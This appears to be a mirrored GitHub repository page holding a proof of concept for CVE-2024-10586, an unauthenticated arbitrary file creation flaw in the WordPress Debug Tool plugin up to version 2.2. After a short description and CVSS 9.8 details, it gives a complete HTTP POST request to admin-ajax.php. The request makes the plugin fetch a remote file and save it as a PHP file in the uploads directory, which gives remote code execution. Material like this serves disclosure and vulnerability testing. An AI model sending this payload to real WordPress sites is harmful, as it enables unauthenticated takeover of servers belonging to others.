https://github.com/randomrobbiebf/cve-2024-10586
Debug Tool <= 2.2 - Unauthenticated Arbitrary File Creation
https://github.com/randomrobbiebf/cve-2024-10586
Last synced: 3 months ago
JSON representation
Debug Tool <= 2.2 - Unauthenticated Arbitrary File Creation
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2024-10586
- Owner: RandomRobbieBF
- Created: 2024-11-10T11:30:05.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2024-11-10T11:30:46.000Z (over 1 year ago)
- Last Synced: 2025-09-22T14:02:24.410Z (9 months ago)
- Size: 1.95 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# CVE-2024-10586
Debug Tool <= 2.2 - Unauthenticated Arbitrary File Creation
# Description:
The Debug Tool plugin for WordPress is vulnerable to arbitrary file creation due to a missing capability check on the dbt_pull_image() function and missing file type validation in all versions up to, and including, 2.2. This makes it possible for unauthenticated attackers to to create arbitrary files such as .php files that can be leveraged for remote code execution.
```
CVE: CVE-2024-10586
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: debug-tool
```
POC
----
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/themes.php?page=themehunk-site-library&template=step
X-WP-Nonce: 47f8dbbb12
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Content-Length: 104
Origin: http://kubernetes.docker.internal
Connection: keep-alive
action=dbt_pull_image&source=http://rfi.nessus.org/rfi.txt&missed=/var/www/html/wp-content/uploads/t.php
```